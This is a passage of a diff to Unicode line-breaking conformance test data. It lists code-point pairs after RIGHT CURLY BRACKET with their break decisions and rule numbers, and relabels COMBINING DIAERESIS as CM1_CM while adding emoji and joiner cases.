× 007D × 0020 ÷ 002D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 007D × 0308 × 002D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 002D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 007D × 0308 × 002D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 002D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 007D ÷ 231A ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 007D × 0020 ÷ 231A ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 007D × 0308 ÷ 231A ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 231A ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 007D × 0308 ÷ 231A ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 231A ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 007D ÷ 2024 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
× 007D × 0020 ÷ 2024 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 007D × 0308 ÷ 2024 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 2024 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 007D × 0308 ÷ 2024 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 2024 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 007D × 002C ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [13.02] COMMA (IS) ÷ [0.3]
× 007D × 0020 × 002C ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 007D × 0308 × 002C ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 007D × 0308 × 0020 × 002C ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 007D × 0308 × 002C ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 007D × 0308 × 0020 × 002C ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 007D ÷ 1100 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 007D × 0020 ÷ 1100 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 007D × 0308 ÷ 1100 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 1100 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 007D × 0308 ÷ 1100 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 1100 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 007D ÷ 11A8 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 007D × 0020 ÷ 11A8 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 007D × 0308 ÷ 11A8 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 007D × 0308 ÷ 11A8 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 007D ÷ 1160 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 007D × 0020 ÷ 1160 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 007D × 0308 ÷ 1160 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 1160 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 007D × 0308 ÷ 1160 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 1160 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 007D × 000A ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 007D × 0020 × 000A ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 007D × 0308 × 000A ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 007D × 0308 × 0020 × 000A ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 007D × 0308 × 000A ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 007D × 0308 × 0020 × 000A ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 007D × 0085 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 007D × 0020 × 0085 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 007D × 0308 × 0085 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 007D × 0308 × 0020 × 0085 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 007D × 0308 × 0085 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 007D × 0308 × 0020 × 0085 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 007D × 17D6 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [16.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 007D × 0020 × 17D6 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) × [16.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 007D × 0308 × 17D6 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [16.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 007D × 0308 × 0020 × 17D6 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [16.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 007D × 0308 × 17D6 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [16.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 007D × 0308 × 0020 × 17D6 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [16.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 007D ÷ 0030 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
× 007D × 0020 ÷ 0030 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 007D × 0308 ÷ 0030 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 0030 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 007D × 0308 ÷ 0030 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 0030 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 007D ÷ 0028 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 007D × 0020 ÷ 0028 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 007D × 0308 ÷ 0028 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 0028 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 007D × 0308 ÷ 0028 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 0028 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 007D ÷ 0025 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
× 007D × 0020 ÷ 0025 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 007D × 0308 ÷ 0025 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 0025 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 007D × 0308 ÷ 0025 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 0025 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 007D ÷ 0024 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
× 007D × 0020 ÷ 0024 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 007D × 0308 ÷ 0024 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 0024 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 007D × 0308 ÷ 0024 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 0024 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 007D × 0022 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 007D × 0020 ÷ 0022 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 007D × 0308 × 0022 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 0022 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 007D × 0308 × 0022 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 0022 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 007D × 0020 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [0.3]
× 007D × 0020 × 0020 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 007D × 0308 × 0020 × 0020 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 007D × 0308 × 0020 × 0020 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 007D × 002F ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 007D × 0020 × 002F ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 007D × 0308 × 002F ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 007D × 0308 × 0020 × 002F ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 007D × 0308 × 002F ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 007D × 0308 × 0020 × 002F ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 007D × 2060 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 007D × 0020 × 2060 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 007D × 0308 × 2060 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 007D × 0308 × 0020 × 2060 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 007D × 0308 × 2060 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 007D × 0308 × 0020 × 2060 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 007D × 200B ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 007D × 0020 × 200B ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 007D × 0308 × 200B ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 007D × 0308 × 0020 × 200B ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 007D × 0308 × 200B ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 007D × 0308 × 0020 × 200B ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 007D ÷ 1F1E6 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 007D × 0020 ÷ 1F1E6 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 007D × 0308 ÷ 1F1E6 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 007D × 0308 ÷ 1F1E6 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 007D ÷ 261D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 007D × 0020 ÷ 261D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 007D × 0308 ÷ 261D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 261D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 007D ÷ 1F3FB ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 007D × 0020 ÷ 1F3FB ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 007D × 0308 ÷ 1F3FB ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 007D × 0001 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 007D × 0020 ÷ 0001 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 007D × 0308 × 0001 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 0001 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 007D × 200D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 007D × 0020 ÷ 200D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 007D × 0308 × 200D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 200D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 007D ÷ 00A7 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 007D × 0020 ÷ 00A7 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 007D × 0308 ÷ 00A7 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 007D × 0308 ÷ 00A7 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 007D ÷ 50005 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 007D × 0020 ÷ 50005 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 007D × 0308 ÷ 50005 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 50005 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
